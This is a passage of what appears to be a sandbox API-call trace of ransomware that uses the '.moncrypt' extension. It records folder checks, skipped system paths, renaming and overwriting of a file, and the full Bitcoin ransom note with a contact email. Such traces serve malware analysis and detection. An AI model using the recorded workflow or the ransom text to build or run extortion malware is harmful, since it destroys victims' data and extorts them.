out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0050.789] GetLastError () returned 0x2 [0050.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0050.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0050.789] GetLastError () returned 0x2 [0050.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0050.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.790] GetLastError () returned 0x2 [0050.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0050.790] GetLastError () returned 0x2 [0050.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.791] GlobalLock (hMem=0x440004) returned 0x550170 [0050.791] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.791] GlobalUnlock (hMem=0x440004) returned 0 [0050.791] GlobalLock (hMem=0x440004) returned 0x550170 [0050.791] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.791] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.791] GlobalUnlock (hMem=0x440004) returned 0 [0050.791] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.791] GlobalUnlock (hMem=0x44000c) returned 0 [0050.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.791] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.791] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.791] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.792] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fa8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.792] GlobalUnlock (hMem=0x44000c) returned 0 [0050.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.792] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.792] GlobalUnlock (hMem=0x44000c) returned 0 [0050.792] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.792] GlobalUnlock (hMem=0x440004) returned 0 [0050.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.794] GlobalLock (hMem=0x440004) returned 0x550170 [0050.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.794] GlobalUnlock (hMem=0x440004) returned 0 [0050.794] GlobalLock (hMem=0x440004) returned 0x550170 [0050.794] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.794] GlobalUnlock (hMem=0x440004) returned 0 [0050.794] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.794] GlobalUnlock (hMem=0x44000c) returned 0 [0050.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.794] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.794] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0050.794] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.795] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.795] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.795] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.795] GlobalUnlock (hMem=0x44000c) returned 0 [0050.795] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.795] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.795] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.795] GlobalUnlock (hMem=0x44000c) returned 0 [0050.795] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.795] GlobalUnlock (hMem=0x440004) returned 0 [0050.795] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.795] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.796] CloseHandle (hObject=0x18c) returned 1 [0050.797] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\я")) returned 1 [0050.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 0x54e240 [0050.798] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.798] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.798] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", dwFileAttributes=0x20) returned 1 [0050.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.moncrypt")) returned 1 [0050.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xeafa [0050.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.799] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.801] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.801] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.801] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.801] GlobalUnlock (hMem=0x44000c) returned 0 [0050.801] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.801] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.801] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.801] GlobalUnlock (hMem=0x44000c) returned 0 [0050.802] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.802] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.802] GlobalUnlock (hMem=0x440004) returned 0 [0050.802] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.802] GlobalUnlock (hMem=0x44000c) returned 0 [0050.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.802] GlobalUnlock (hMem=0x44000c) returned 0 [0050.802] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.802] GlobalUnlock (hMem=0x44000c) returned 0 [0050.802] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.802] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.802] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.802] SetFilePointer (in: hFile=0x18c, lDistanceToMove=60154, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xeafa [0050.802] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.803] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.803] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.814] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.814] CloseHandle (hObject=0x18c) returned 1 [0050.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.815] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.815] CloseHandle (hObject=0x18c) returned 1 [0050.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.815] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.815] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.815] GlobalUnlock (hMem=0x44000c) returned 0 [0050.816] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.816] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.816] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.816] GlobalUnlock (hMem=0x44000c) returned 0 [0050.816] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.816] GlobalUnlock (hMem=0x440004) returned 0 [0050.816] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, 